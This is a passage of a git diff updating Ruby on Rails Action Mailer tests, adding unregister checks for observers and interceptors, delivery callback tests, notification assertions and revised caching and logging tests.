   test "assets tags should use a Mailer's asset_host settings when available" do
@@ -590,7 +650,7 @@ def welcome
 
     mail = TempAssetMailer.welcome
 
-    assert_dom_equal(%{<img alt="Dummy" src="http://local.com/images/dummy.png" />}, mail.body.to_s.strip)
+    assert_dom_equal(%{<img src="http://local.com/images/dummy.png" />}, mail.body.to_s.strip)
   end
 
   test "the view is not rendered when mail was never called" do
@@ -617,37 +677,52 @@ def self.delivered_email(mail)
     end
   end
 
-  test "you can register an observer to the mail object that gets informed on email delivery" do
+  test "you can register and unregister an observer to the mail object that gets informed on email delivery" do
     mail_side_effects do
       ActionMailer::Base.register_observer(MyObserver)
       mail = BaseMailer.welcome
       assert_called_with(MyObserver, :delivered_email, [mail]) do
         mail.deliver_now
       end
+
+      ActionMailer::Base.unregister_observer(MyObserver)
+      assert_not_called(MyObserver, :delivered_email, returns: mail) do
+        mail.deliver_now
+      end
     end
   end
 
-  test "you can register an observer using its stringified name to the mail object that gets informed on email delivery" do
+  test "you can register and unregister an observer using its stringified name to the mail object that gets informed on email delivery" do
     mail_side_effects do
       ActionMailer::Base.register_observer("BaseTest::MyObserver")
       mail = BaseMailer.welcome
       assert_called_with(MyObserver, :delivered_email, [mail]) do
         mail.deliver_now
       end
+
+      ActionMailer::Base.unregister_observer("BaseTest::MyObserver")
+      assert_not_called(MyObserver, :delivered_email, returns: mail) do
+        mail.deliver_now
+      end
     end
   end
 
-  test "you can register an observer using its symbolized underscored name to the mail object that gets informed on email delivery" do
+  test "you can register and unregister an observer using its symbolized underscored name to the mail object that gets informed on email delivery" do
     mail_side_effects do
       ActionMailer::Base.register_observer(:"base_test/my_observer")
       mail = BaseMailer.welcome
       assert_called_with(MyObserver, :delivered_email, [mail]) do
         mail.deliver_now
       end
+
+      ActionMailer::Base.unregister_observer(:"base_test/my_observer")
+      assert_not_called(MyObserver, :delivered_email, returns: mail) do
+        mail.deliver_now
+      end
     end
   end
 
-  test "you can register multiple observers to the mail object that both get informed on email delivery" do
+  test "you can register and unregister multiple observers to the mail object that both get informed on email delivery" do
     mail_side_effects do
       ActionMailer::Base.register_observers("BaseTest::MyObserver", MySecondObserver)
       mail = BaseMailer.welcome
@@ -656,6 +731,14 @@ def self.delivered_email(mail)
           mail.deliver_now
         end
       end
+
+      ActionMailer::Base.unregister_observers("BaseTest::MyObserver", MySecondObserver)
+      assert_not_called(MyObserver, :delivered_email, returns: mail) do
+        mail.deliver_now
+      end
+      assert_not_called(MySecondObserver, :delivered_email, returns: mail) do
+        mail.deliver_now
+      end
     end
   end
 
@@ -669,37 +752,52 @@ def self.delivering_email(mail); end
     def self.previewing_email(mail); end
   end
 
-  test "you can register an interceptor to the mail object that gets passed the mail object before delivery" do
+  test "you can register and unregister an interceptor to the mail object that gets passed the mail object before delivery" do
     mail_side_effects do
       ActionMailer::Base.register_interceptor(MyInterceptor)
       mail = BaseMailer.welcome
       assert_called_with(MyInterceptor, :delivering_email, [mail]) do
         mail.deliver_now
       end
+
+      ActionMailer::Base.unregister_interceptor(MyInterceptor)
+      assert_not_called(MyInterceptor, :delivering_email, returns: mail) do
+        mail.deliver_now
+      end
     end
   end
 
-  test "you can register an interceptor using its stringified name to the mail object that gets passed the mail object before delivery" do
+  test "you can register and unregister an interceptor using its stringified name to the mail object that gets passed the mail object before delivery" do
     mail_side_effects do
       ActionMailer::Base.register_interceptor("BaseTest::MyInterceptor")
       mail = BaseMailer.welcome
       assert_called_with(MyInterceptor, :delivering_email, [mail]) do
         mail.deliver_now
       end
+
+      ActionMailer::Base.unregister_interceptor("BaseTest::MyInterceptor")
+      assert_not_called(MyInterceptor, :delivering_email, returns: mail) do
+        mail.deliver_now
+      end
     end
   end
 
-  test "you can register an interceptor using its symbolized underscored name to the mail object that gets passed the mail object before delivery" do
+  test "you can register and unregister an interceptor using its symbolized underscored name to the mail object that gets passed the mail object before delivery" do
     mail_side_effects do
       ActionMailer::Base.register_interceptor(:"base_test/my_interceptor")
       mail = BaseMailer.welcome
       assert_called_with(MyInterceptor, :delivering_email, [mail]) do
         mail.deliver_now
       end
+
+      ActionMailer::Base.unregister_interceptor(:"base_test/my_interceptor")
+      assert_not_called(MyInterceptor, :delivering_email, returns: mail) do
+        mail.deliver_now
+      end
     end
   end
 
-  test "you can register multiple interceptors to the mail object that both get passed the mail object before delivery" do
+  test "you can register and unregister multiple interceptors to the mail object that both get passed the mail object before delivery" do
     mail_side_effects do
       ActionMailer::Base.register_interceptors("BaseTest::MyInterceptor", MySecondInterceptor)
       mail = BaseMailer.welcome
@@ -708,6 +806,14 @@ def self.previewing_email(mail); end
           mail.deliver_now
         end
       end
+
+      ActionMailer::Base.unregister_interceptors("BaseTest::MyInterceptor", MySecondInterceptor)
+      assert_not_called(MyInterceptor, :delivering_email, returns: mail) do
+        mail.deliver_now
+      end
+      assert_not_called(MySecondInterceptor, :delivering_email, returns: mail) do
+        mail.deliver_now
+      end
     end
   end
 
@@ -724,11 +830,28 @@ def self.previewing_email(mail); end
     assert(ProcMailer.welcome["x-has-to-proc"].to_s == "symbol")
   end
 
+  test "proc default values can have arity of 1 where arg is a mailer instance" do
+    assert_equal("complex_value", ProcMailer.welcome["X-Lambda-Arity-1-arg"].to_s)
+    assert_equal("complex_value", ProcMailer.welcome["X-Lambda-Arity-1-self"].to_s)
+  end
+
+  test "proc default values with fixed arity of 0 can be called" do
+    assert_equal("0", ProcMailer.welcome["X-Lambda-Arity-0"].to_s)
+  end
+
   test "we can call other defined methods on the class as needed" do
     mail = ProcMailer.welcome
     assert_equal("Thanks for signing up this afternoon", mail.subject)
   end
 
+  test "proc default values are not evaluated when overridden" do
+    with_default BaseMailer, from: -> { flunk }, to: -> { flunk } do
+      email = BaseMailer.welcome(from: "overridden-from@example.com", to: "overridden-to@example.com")
+      assert_equal ["overridden-from@example.com"], email.from
+      assert_equal ["overridden-to@example.com"], email.to
+    end
+  end
+
   test "modifying the mail message with a before_action" do
     class BeforeActionMailer < ActionMailer::Base
       before_action :add_special_header!
@@ -780,6 +903,8 @@ class FooMailer < ActionMailer::Base
       # This triggers action_methods.
       respond_to?(:foo)
 
+      after_deliver :foo
+
       def notify
       end
     end
@@ -800,6 +925,11 @@ def welcome
     assert_equal "Anonymous mailer body", mailer.welcome.body.encoded.strip
   end
 
+  test "email_address_with_name escapes" do
+    address = BaseMailer.email_address_with_name("test@example.org", 'I "<3" email')
+    assert_equal '"I \"<3\" email" <test@example.org>', address
+  end
+
   test "default_from can be set" do
     class DefaultFromMailer < ActionMailer::Base
       default to: "system@test.lindsaar.net"
@@ -835,38 +965,38 @@ def a_callback
   end
 
   test "notification for process" do
-    begin
-      events = []
-      ActiveSupport::Notifications.subscribe("process.action_mailer") do |*args|
-        events << ActiveSupport::Notifications::Event.new(*args)
+    expected_payload = { mailer: "BaseMailer", action: :welcome, args: [{ body: "Hello there" }] }
+
+    assert_notifications_count("process.action_mailer", 1) do
+      assert_notification("process.action_mailer", expected_payload) do
+        BaseMailer.welcome(body: "Hello there").deliver_now
       end
+    end
+  end
 
-      BaseMailer.welcome(body: "Hello there").deliver_now
+  test "notification for deliver" do
+    assert_notifications_count("deliver.action_mailer", 1) do
+      notification = assert_notification("deliver.action_mailer") do
+        BaseMailer.welcome(body: "Hello there").deliver_now
+      end
 
-      assert_equal 1, events.length
-      assert_equal "process.action_mailer", events[0].name
-      assert_equal "BaseMailer", events[0].payload[:mailer]
-      assert_equal :welcome, events[0].payload[:action]
-      assert_equal [{ body: "Hello there" }], events[0].payload[:args]
-    ensure
-      ActiveSupport::Notifications.unsubscribe "process.action_mailer"
+      assert_not_nil notification.payload[:message_id]
     end
   end
 
   private
-
     # Execute the block setting the given values and restoring old values after
     # the block is executed.
     def swap(klass, new_values)
       old_values = {}
       new_values.each do |key, value|
-        old_values[key] = klass.send key
-        klass.send :"#{key}=", value
+        old_values[key] = klass.public_send key
+        klass.public_send :"#{key}=", value
       end
       yield
     ensure
       old_values.each do |key, value|
-        klass.send :"#{key}=", value
+        klass.public_send :"#{key}=", value
       end
     end
 
@@ -878,8 +1008,6 @@ def with_default(klass, new_values)
       klass.default_params = old
     end
 
-    # A simple hack to restore the observers and interceptors for Mail, as it
-    # does not have an unregister API yet.
     def mail_side_effects
       old_observers = Mail.class_variable_get(:@@delivery_notification_observers)
       old_delivery_interceptors = Mail.class_variable_get(:@@delivery_interceptors)
@@ -918,7 +1046,7 @@ def self.delivering_email(mail); end
     def self.previewing_email(mail); end
   end
 
-  test "you can register a preview interceptor to the mail object that gets passed the mail object before previewing" do
+  test "you can register and unregister a preview interceptor to the mail object that gets passed the mail object before previewing" do
     ActionMailer::Base.register_preview_interceptor(MyInterceptor)
     mail = BaseMailer.welcome
     stub_any_instance(BaseMailerPreview) do |instance|
@@ -928,9 +1056,14 @@ def self.previewing_email(mail); end
         end
       end
     end
+
+    ActionMailer::Base.unregister_preview_interceptor(MyInterceptor)
+    assert_not_called(MyInterceptor, :previewing_email, returns: mail) do
+      BaseMailerPreview.call(:welcome)
+    end
   end
 
-  test "you can register a preview interceptor using its stringified name to the mail object that gets passed the mail object before previewing" do
+  test "you can register and unregister a preview interceptor using its stringified name to the mail object that gets passed the mail object before previewing" do
     ActionMailer::Base.register_preview_interceptor("BasePreviewInterceptorsTest::MyInterceptor")
     mail = BaseMailer.welcome
     stub_any_instance(BaseMailerPreview) do |instance|
@@ -940,9 +1073,14 @@ def self.previewing_email(mail); end
         end
       end
     end
+
+    ActionMailer::Base.unregister_preview_interceptor("BasePreviewInterceptorsTest::MyInterceptor")
+    assert_not_called(MyInterceptor, :previewing_email, returns: mail) do
+      BaseMailerPreview.call(:welcome)
+    end
   end
 
-  test "you can register an interceptor using its symbolized underscored name to the mail object that gets passed the mail object before previewing" do
+  test "you can register and unregister a preview interceptor using its symbolized underscored name to the mail object that gets passed the mail object before previewing" do
     ActionMailer::Base.register_preview_interceptor(:"base_preview_interceptors_test/my_interceptor")
     mail = BaseMailer.welcome
     stub_any_instance(BaseMailerPreview) do |instance|
@@ -952,9 +1090,14 @@ def self.previewing_email(mail); end
         end
       end
     end
+
+    ActionMailer::Base.unregister_preview_interceptor(:"base_preview_interceptors_test/my_interceptor")
+    assert_not_called(MyInterceptor, :previewing_email, returns: mail) do
+      BaseMailerPreview.call(:welcome)
+    end
   end
 
-  test "you can register multiple preview interceptors to the mail object that both get passed the mail object before previewing" do
+  test "you can register and unregister multiple preview interceptors to the mail object that both get passed the mail object before previewing" do
     ActionMailer::Base.register_preview_interceptors("BasePreviewInterceptorsTest::MyInterceptor", MySecondInterceptor)
     mail = BaseMailer.welcome
     stub_any_instance(BaseMailerPreview) do |instance|
@@ -966,5 +1109,46 @@ def self.previewing_email(mail); end
         end
       end
     end
+
+    ActionMailer::Base.unregister_preview_interceptors("BasePreviewInterceptorsTest::MyInterceptor", MySecondInterceptor)
+    assert_not_called(MyInterceptor, :previewing_email, returns: mail) do
+      BaseMailerPreview.call(:welcome)
+    end
+    assert_not_called(MySecondInterceptor, :previewing_email, returns: mail) do
+      BaseMailerPreview.call(:welcome)
+    end
+  end
+end
+
+class PreviewTest < ActiveSupport::TestCase
+  class A < ActionMailer::Preview; end
+
+  module B
+    class A < ActionMailer::Preview; end
+    class C < ActionMailer::Preview; end
+  end
+
+  class C < ActionMailer::Preview; end
+
+  test "all() returns mailers in alphabetical order" do
+    ActionMailer::Preview.stub(:descendants, [C, A, B::C, B::A]) do
+      mailers = ActionMailer::Preview.all
+      assert_equal [A, B::A, B::C, C], mailers
+    end
+  end
+end
+
+class BasePreviewTest < ActiveSupport::TestCase
+  class BaseMailerPreview < ActionMailer::Preview
+    def welcome
+      BaseMailer.welcome(params)
+    end
+  end
+
+  test "has access to params" do
+    params = { name: "World" }
+
+    message = BaseMailerPreview.call(:welcome, params)
+    assert_equal "World", message["name"].decoded
   end
 end
diff --git a/actionmailer/test/caching_test.rb b/actionmailer/test/caching_test.rb
index cff49c889405d..1a495159b2c45 100644
--- a/actionmailer/test/caching_test.rb
+++ b/actionmailer/test/caching_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "fileutils"
 require "abstract_unit"
 require "mailers/base_mailer"
@@ -5,7 +7,7 @@
 
 CACHE_DIR = "test_cache"
 # Don't change '/../temp/' cavalierly or you might hose something you don't want hosed
-FILE_STORE_PATH = File.join(File.dirname(__FILE__), "/../temp/", CACHE_DIR)
+FILE_STORE_PATH = File.join(__dir__, "/../temp/", CACHE_DIR)
 
 class FragmentCachingMailer < ActionMailer::Base
   abstract!
@@ -21,10 +23,6 @@ def setup
     @mailer.perform_caching = true
     @mailer.cache_store = @store
   end
-
-  def test_fragment_cache_key
-    assert_equal "views/what a key", @mailer.fragment_cache_key("what a key")
-  end
 end
 
 class FragmentCachingTest < BaseCachingTest
@@ -42,14 +40,14 @@ def test_read_fragment_with_caching_disabled
   def test_fragment_exist_with_caching_enabled
     @store.write("views/name", "value")
     assert @mailer.fragment_exist?("name")
-    assert !@mailer.fragment_exist?("other_name")
+    assert_not @mailer.fragment_exist?("other_name")
   end
 
   def test_fragment_exist_with_caching_disabled
     @mailer.perform_caching = false
     @store.write("views/name", "value")
-    assert !@mailer.fragment_exist?("name")
-    assert !@mailer.fragment_exist?("other_name")
+    assert_not @mailer.fragment_exist?("name")
+    assert_not @mailer.fragment_exist?("other_name")
   end
 
   def test_write_fragment_with_caching_enabled
@@ -92,7 +90,7 @@ def test_fragment_for
     buffer = "generated till now -> ".html_safe
     buffer << view_context.send(:fragment_for, "expensive") { fragment_computed = true }
 
-    assert !fragment_computed
+    assert_not fragment_computed
     assert_equal "generated till now -> fragment content", buffer
   end
 
@@ -107,7 +105,7 @@ def test_html_safety
 
     html_safe = @mailer.read_fragment("name")
     assert_equal content, html_safe
-    assert html_safe.html_safe?
+    assert_predicate html_safe, :html_safe?
   end
 end
 
@@ -126,7 +124,7 @@ def test_fragment_caching
 
     assert_match expected_body, email.body.encoded
     assert_match expected_body,
-      @store.read("views/caching/#{template_digest("caching_mailer/fragment_cache")}")
+      @store.read("views/caching_mailer/fragment_cache:#{template_digest("caching_mailer/fragment_cache", "html")}/caching")
   end
 
   def test_fragment_caching_in_partials
@@ -135,7 +133,7 @@ def test_fragment_caching_in_partials
     assert_match(expected_body, email.body.encoded)
 
     assert_match(expected_body,
-      @store.read("views/caching/#{template_digest("caching_mailer/_partial")}"))
+      @store.read("views/caching_mailer/_partial:#{template_digest("caching_mailer/_partial", "html")}/caching"))
   end
 
   def test_skip_fragment_cache_digesting
@@ -173,34 +171,29 @@ def test_multipart_fragment_caching
 
   def test_fragment_cache_instrumentation
     @mailer.enable_fragment_cache_logging = true
-    payload = nil
 
-    subscriber = proc do |*args|
-      event = ActiveSupport::Notifications::Event.new(*args)
-      payload = event.payload
-    end
+    expected_payload = {
+      mailer: "caching_mailer",
+      key: [:views, "caching_mailer/fragment_cache:#{template_digest("caching_mailer/fragment_cache", "html")}", :caching]
+    }
 
-    ActiveSupport::Notifications.subscribed(subscriber, "read_fragment.action_mailer") do
+    assert_notification("read_fragment.action_mailer", expected_payload) do
       @mailer.fragment_cache
     end
-
-    assert_equal "caching_mailer", payload[:mailer]
-    assert_equal "views/caching/#{template_digest("caching_mailer/fragment_cache")}", payload[:key]
   ensure
     @mailer.enable_fragment_cache_logging = true
   end
 
   private
-
-    def template_digest(name)
-      ActionView::Digestor.digest(name: name, finder: @mailer.lookup_context)
+    def template_digest(name, format)
+      ActionView::Digestor.digest(name: name, format: format, finder: @mailer.lookup_context)
     end
 end
 
 class CacheHelperOutputBufferTest < BaseCachingTest
   class MockController
     def read_fragment(name, options)
-      return false
+      false
     end
 
     def write_fragment(name, fragment, options)
@@ -216,39 +209,16 @@ def test_output_buffer
     output_buffer = ActionView::OutputBuffer.new
     controller = MockController.new
     cache_helper = Class.new do
-      def self.controller; end;
-      def self.output_buffer; end;
-      def self.output_buffer=; end;
-    end
-    cache_helper.extend(ActionView::Helpers::CacheHelper)
-
-    cache_helper.stub :controller, controller do
-      cache_helper.stub :output_buffer, output_buffer do
-        assert_called_with cache_helper, :output_buffer=, [output_buffer.class.new(output_buffer)] do
-          assert_nothing_raised do
-            cache_helper.send :fragment_for, "Test fragment name", "Test fragment", &Proc.new { nil }
-          end
-        end
-      end
-    end
-  end
-
-  def test_safe_buffer
-    output_buffer = ActiveSupport::SafeBuffer.new
-    controller = MockController.new
-    cache_helper = Class.new do
-      def self.controller; end;
-      def self.output_buffer; end;
-      def self.output_buffer=; end;
+      def self.controller; end
+      def self.output_buffer; end
+      def self.output_buffer=; end
     end
     cache_helper.extend(ActionView::Helpers::CacheHelper)
 
     cache_helper.stub :controller, controller do
       cache_helper.stub :output_buffer, output_buffer do
-        assert_called_with cache_helper, :output_buffer=, [output_buffer.class.new(output_buffer)] do
-          assert_nothing_raised do
-            cache_helper.send :fragment_for, "Test fragment name", "Test fragment", &Proc.new { nil }
-          end
+        assert_nothing_raised do
+          cache_helper.send :fragment_for, "Test fragment name", "Test fragment", &Proc.new { nil }
         end
       end
     end
@@ -264,7 +234,7 @@ class HasDependenciesMailer < ActionMailer::Base
   end
 
   def test_view_cache_dependencies_are_empty_by_default
-    assert NoDependenciesMailer.new.view_cache_dependencies.empty?
+    assert_empty NoDependenciesMailer.new.view_cache_dependencies
   end
 
   def test_view_cache_dependencies_are_listed_in_declaration_order
diff --git a/actionmailer/test/callbacks_test.rb b/actionmailer/test/callbacks_test.rb
new file mode 100644
index 0000000000000..3a2cf8f31822c
--- /dev/null
+++ b/actionmailer/test/callbacks_test.rb
@@ -0,0 +1,86 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "mailers/callback_mailer"
+require "active_support/testing/stream"
+
+class ActionMailerCallbacksTest < ActiveSupport::TestCase
+  include ActiveJob::TestHelper
+  include ActiveSupport::Testing::Stream
+
+  setup do
+    @previous_delivery_method = ActionMailer::Base.delivery_method
+    ActionMailer::Base.delivery_method = :test
+    CallbackMailer.rescue_from_error = nil
+    CallbackMailer.after_deliver_instance = nil
+    CallbackMailer.around_deliver_instance = nil
+    CallbackMailer.abort_before_deliver = nil
+    CallbackMailer.around_handles_error = nil
+  end
+
+  teardown do
+    ActionMailer::Base.deliveries.clear
+    ActionMailer::Base.delivery_method = @previous_delivery_method
+    CallbackMailer.rescue_from_error = nil
+    CallbackMailer.after_deliver_instance = nil
+    CallbackMailer.around_deliver_instance = nil
+    CallbackMailer.abort_before_deliver = nil
+    CallbackMailer.around_handles_error = nil
+  end
+
+  test "deliver_now should call after_deliver callback and can access sent message" do
+    mail_delivery = CallbackMailer.test_message
+    mail_delivery.deliver_now
+
+    assert_kind_of CallbackMailer, CallbackMailer.after_deliver_instance
+    assert_not_empty CallbackMailer.after_deliver_instance.message.message_id
+    assert_equal mail_delivery.message_id, CallbackMailer.after_deliver_instance.message.message_id
+    assert_equal "test-receiver@test.com", CallbackMailer.after_deliver_instance.message.to.first
+  end
+
+  test "deliver_now! should call after_deliver callback" do
+    CallbackMailer.test_message.deliver_now!
+
+    assert_kind_of CallbackMailer, CallbackMailer.after_deliver_instance
+  end
+
+  test "before_deliver can abort the delivery and not run after_deliver callbacks" do
+    CallbackMailer.abort_before_deliver = true
+
+    mail_delivery = CallbackMailer.test_message
+    mail_delivery.deliver_now
+
+    assert_nil mail_delivery.message_id
+    assert_nil CallbackMailer.after_deliver_instance
+  end
+
+  test "deliver_later should call after_deliver callback and can access sent message" do
+    perform_enqueued_jobs do
+      silence_stream($stdout) do
+        CallbackMailer.test_message.deliver_later
+      end
+    end
+    assert_kind_of CallbackMailer, CallbackMailer.after_deliver_instance
+    assert_not_empty CallbackMailer.after_deliver_instance.message.message_id
+  end
+
+  test "around_deliver is called after rescue_from on action processing exceptions" do
+    CallbackMailer.around_handles_error = true
+
+    CallbackMailer.test_raise_action.deliver_now
+    assert CallbackMailer.rescue_from_error
+  end
+
+  test "around_deliver is called before rescue_from on deliver! exceptions" do
+    CallbackMailer.around_handles_error = true
+
+    stub_any_instance(Mail::TestMailer, instance: Mail::TestMailer.new({})) do |instance|
+      instance.stub(:deliver!, proc { raise "boom deliver exception" }) do
+        CallbackMailer.test_message.deliver_now
+      end
+    end
+
+    assert_kind_of CallbackMailer, CallbackMailer.after_deliver_instance
+    assert_nil CallbackMailer.rescue_from_error
+  end
+end
diff --git a/actionmailer/test/delivery_methods_test.rb b/actionmailer/test/delivery_methods_test.rb
index f64a69019f9c5..a39eb37eaa907 100644
--- a/actionmailer/test/delivery_methods_test.rb
+++ b/actionmailer/test/delivery_methods_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 
 class MyCustomDelivery
@@ -39,7 +41,7 @@ class DefaultsDeliveryMethodsTest < ActiveSupport::TestCase
   test "default sendmail settings" do
     settings = {
       location:  "/usr/sbin/sendmail",
-      arguments: "-i"
+      arguments: %w[ -i ]
     }
     assert_equal settings, ActionMailer::Base.sendmail_settings
   end
diff --git a/actionmailer/test/fixtures/attachments/foo.jpg b/actionmailer/test/fixtures/attachments/foo.jpg
deleted file mode 100644
index b976fe5e002bf..0000000000000
Binary files a/actionmailer/test/fixtures/attachments/foo.jpg and /dev/null differ
diff --git a/actionmailer/test/fixtures/attachments/test.jpg b/actionmailer/test/fixtures/attachments/test.jpg
deleted file mode 100644
index b976fe5e002bf..0000000000000
Binary files a/actionmailer/test/fixtures/attachments/test.jpg and /dev/null differ
diff --git a/actionmailer/test/fixtures/base_mailer/implicit_multipart_formats.html.erb b/actionmailer/test/fixtures/base_mailer/implicit_multipart_formats.html.erb
new file mode 100644
index 0000000000000..0179b070b8a65
--- /dev/null
+++ b/actionmailer/test/fixtures/base_mailer/implicit_multipart_formats.html.erb
@@ -0,0 +1 @@
+Implicit Multipart <%= formats.inspect %>
\ No newline at end of file
diff --git a/actionmailer/test/fixtures/base_mailer/implicit_multipart_formats.text.erb b/actionmailer/test/fixtures/base_mailer/implicit_multipart_formats.text.erb
new file mode 100644
index 0000000000000..0179b070b8a65
--- /dev/null
+++ b/actionmailer/test/fixtures/base_mailer/implicit_multipart_formats.text.erb
@@ -0,0 +1 @@
+Implicit Multipart <%= formats.inspect %>
\ No newline at end of file
diff --git a/actionmailer/test/fixtures/base_mailer/inline_and_other_attachments.html.erb b/actionmailer/test/fixtures/base_mailer/inline_and_other_attachments.html.erb
new file mode 100644
index 0000000000000..e20087812748f
--- /dev/null
+++ b/actionmailer/test/fixtures/base_mailer/inline_and_other_attachments.html.erb
@@ -0,0 +1,5 @@
+<h1>Inline Image</h1>
+
+<%= image_tag attachments['logo.png'].url %>
+
+<p>This is an image that is inline</p>
\ No newline at end of file
diff --git a/actionmailer/test/fixtures/base_mailer/inline_and_other_attachments.text.erb b/actionmailer/test/fixtures/base_mailer/inline_and_other_attachments.text.erb
new file mode 100644
index 0000000000000..e161d244d27eb
--- /dev/null
+++ b/actionmailer/test/fixtures/base_mailer/inline_and_other_attachments.text.erb
@@ -0,0 +1,4 @@
+Inline Image
+
+No image for you
+
diff --git a/actionmailer/test/fixtures/form_builder_mailer/welcome.html.erb b/actionmailer/test/fixtures/form_builder_mailer/welcome.html.erb
new file mode 100644
index 0000000000000..180a827089c00
--- /dev/null
+++ b/actionmailer/test/fixtures/form_builder_mailer/welcome.html.erb
@@ -0,0 +1,3 @@
+<%= form_with(url: "/") do |f| %>
+  <%= f.message %>
+<% end %>
diff --git a/actionmailer/test/fixtures/raw_email b/actionmailer/test/fixtures/raw_email
deleted file mode 100644
index 43f7a59cee03f..0000000000000
--- a/actionmailer/test/fixtures/raw_email
+++ /dev/null
@@ -1,14 +0,0 @@
-From jamis_buck@byu.edu Mon May  2 16:07:05 2005
-Mime-Version: 1.0 (Apple Message framework v622)
-Content-Transfer-Encoding: base64
-Message-Id: <d3b8cf8e49f04480850c28713a1f473e@37signals.com>
-Content-Type: text/plain;
-  charset=EUC-KR;
-  format=flowed
-To: willard15georgina@jamis.backpackit.com
-From: Jamis Buck <jamis@37signals.com>
-Subject: =?EUC-KR?Q?NOTE:_=C7=D1=B1=B9=B8=BB=B7=CE_=C7=CF=B4=C2_=B0=CD?=
-Date: Mon, 2 May 2005 16:07:05 -0600
-
-tOu6zrrQwMcguLbC+bChwfa3ziwgv+y4rrTCIMfPs6q01MC7ILnPvcC0z7TZLg0KDQrBpiDAzLin
-wLogSmFtaXPA1LTPtNku
diff --git a/actionmailer/test/form_builder_test.rb b/actionmailer/test/form_builder_test.rb
new file mode 100644
index 0000000000000..460acd04be822
--- /dev/null
+++ b/actionmailer/test/form_builder_test.rb
@@ -0,0 +1,11 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "mailers/form_builder_mailer"
+
+class MailerFormBuilderTest < ActiveSupport::TestCase
+  def test_default_form_builder_assigned
+    email = FormBuilderMailer.welcome
+    assert_includes(email.body.encoded, "hi from SpecializedFormBuilder")
+  end
+end
diff --git a/actionmailer/test/i18n_with_controller_test.rb b/actionmailer/test/i18n_with_controller_test.rb
index 4f09339800cbb..5e5be4ff2b2a3 100644
--- a/actionmailer/test/i18n_with_controller_test.rb
+++ b/actionmailer/test/i18n_with_controller_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 require "action_view"
 require "action_controller"
@@ -25,7 +27,7 @@ def send_mail
 class ActionMailerI18nWithControllerTest < ActionDispatch::IntegrationTest
   Routes = ActionDispatch::Routing::RouteSet.new
   Routes.draw do
-    ActiveSupport::Deprecation.silence do
+    ActionDispatch.deprecator.silence do
       get ":controller(/:action(/:id))"
     end
   end
@@ -65,7 +67,6 @@ def test_send_mail
   end
 
   private
-
     def with_translation(locale, data)
       I18n.backend.store_translations(locale, data)
       yield
diff --git a/actionmailer/test/log_subscriber_test.rb b/actionmailer/test/log_subscriber_test.rb
index d864c3acca230..89f87a470ca34 100644
--- a/actionmailer/test/log_subscriber_test.rb
+++ b/actionmailer/test/log_subscriber_test.rb
@@ -1,32 +1,45 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 require "mailers/base_mailer"
 require "active_support/log_subscriber/test_helper"
 require "action_mailer/log_subscriber"
+require "active_support/testing/event_reporter_assertions"
+require "action_mailer/structured_event_subscriber"
 
 class AMLogSubscriberTest < ActionMailer::TestCase
-  include ActiveSupport::LogSubscriber::TestHelper
+  include ActiveSupport::Testing::EventReporterAssertions
+
+  setup do
+    @logger = ActiveSupport::LogSubscriber::TestHelper::MockLogger.new
+    @old_logger = ActionMailer::LogSubscriber.logger
+    ActionMailer::LogSubscriber.logger = @logger
+  end
 
-  def setup
-    super
-    ActionMailer::LogSubscriber.attach_to :action_mailer
+  teardown do
+    ActionMailer::LogSubscriber.logger = @old_logger
   end
 
-  class TestMailer < ActionMailer::Base
-    def receive(mail)
-      # Do nothing
+  def run(*)
+    with_debug_event_reporting do
+      super
     end
   end
 
-  def set_logger(logger)
-    ActionMailer::Base.logger = logger
+  class BogusDelivery
+    def initialize(*)
+    end
+
+    def deliver!(mail)
+      raise "failed"
+    end
   end
 
   def test_deliver_is_notified
-    BaseMailer.welcome.deliver_now
-    wait
+    BaseMailer.welcome(message_id: "123@abc").deliver_now
 
     assert_equal(1, @logger.logged(:info).size)
-    assert_match(/Sent mail to system@test.lindsaar.net/, @logger.logged(:info).first)
+    assert_match(/Delivered mail 123@abc/, @logger.logged(:info).first)
 
     assert_equal(2, @logger.logged(:debug).size)
     assert_match(/BaseMailer#welcome: processed outbound mail in [\d.]+ms/, @logger.logged(:debug).first)
@@ -35,13 +48,28 @@ def test_deliver_is_notified
     BaseMailer.deliveries.clear
   end
 
-  def test_receive_is_notified
-    fixture = File.read(File.dirname(__FILE__) + "/fixtures/raw_email")
-    TestMailer.receive(fixture)
-    wait
+  def test_deliver_message_when_perform_deliveries_is_false
+    BaseMailer.welcome_without_deliveries(message_id: "123@abc").deliver_now
+
     assert_equal(1, @logger.logged(:info).size)
-    assert_match(/Received mail/, @logger.logged(:info).first)
-    assert_equal(1, @logger.logged(:debug).size)
-    assert_match(/Jamis/, @logger.logged(:debug).first)
+    assert_match("Skipped delivery of mail 123@abc as `perform_deliveries` is false", @logger.logged(:info).first)
+
+    assert_equal(2, @logger.logged(:debug).size)
+    assert_match(/BaseMailer#welcome_without_deliveries: processed outbound mail in [\d.]+ms/, @logger.logged(:debug).first)
+    assert_match("Welcome", @logger.logged(:debug).second)
+  ensure
+    BaseMailer.deliveries.clear
+  end
+
+  def test_deliver_message_when_exception_happened
+    previous_delivery_method = BaseMailer.delivery_method
+    BaseMailer.delivery_method = BogusDelivery
+
+    assert_raises(RuntimeError) { BaseMailer.welcome(message_id: "123@abc").deliver_now }
+
+    assert_equal(1, @logger.logged(:info).size)
+    assert_equal('Failed delivery of mail 123@abc error_class=RuntimeError error_message="failed"', @logger.logged(:info).first)
+  ensure
+    BaseMailer.delivery_method = previous_delivery_method
   end
 end
diff --git a/actionmailer/test/mail_helper_test.rb b/actionmailer/test/mail_helper_test.rb
index 6042548aef33b..b0c74c80561ce 100644
--- a/actionmailer/test/mail_helper_test.rb
+++ b/actionmailer/test/mail_helper_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 
 class HelperMailer < ActionMailer::Base
@@ -65,8 +67,13 @@ def use_cache
     end
   end
 
-  private
+  def use_stylesheet_link_tag
+    mail_with_defaults do |format|
+      format.html { render(inline: "<%= stylesheet_link_tag 'mailer' %>") }
+    end
+  end
 
+  private
     def mail_with_defaults(&block)
       mail(to: "test@localhost", from: "tester@example.com",
             subject: "using helpers", &block)
@@ -120,4 +127,29 @@ def test_use_cache
       assert_equal "Greetings from a cache helper block", mail.body.encoded
     end
   end
+
+  def test_stylesheet_link_tag_without_nonce_method
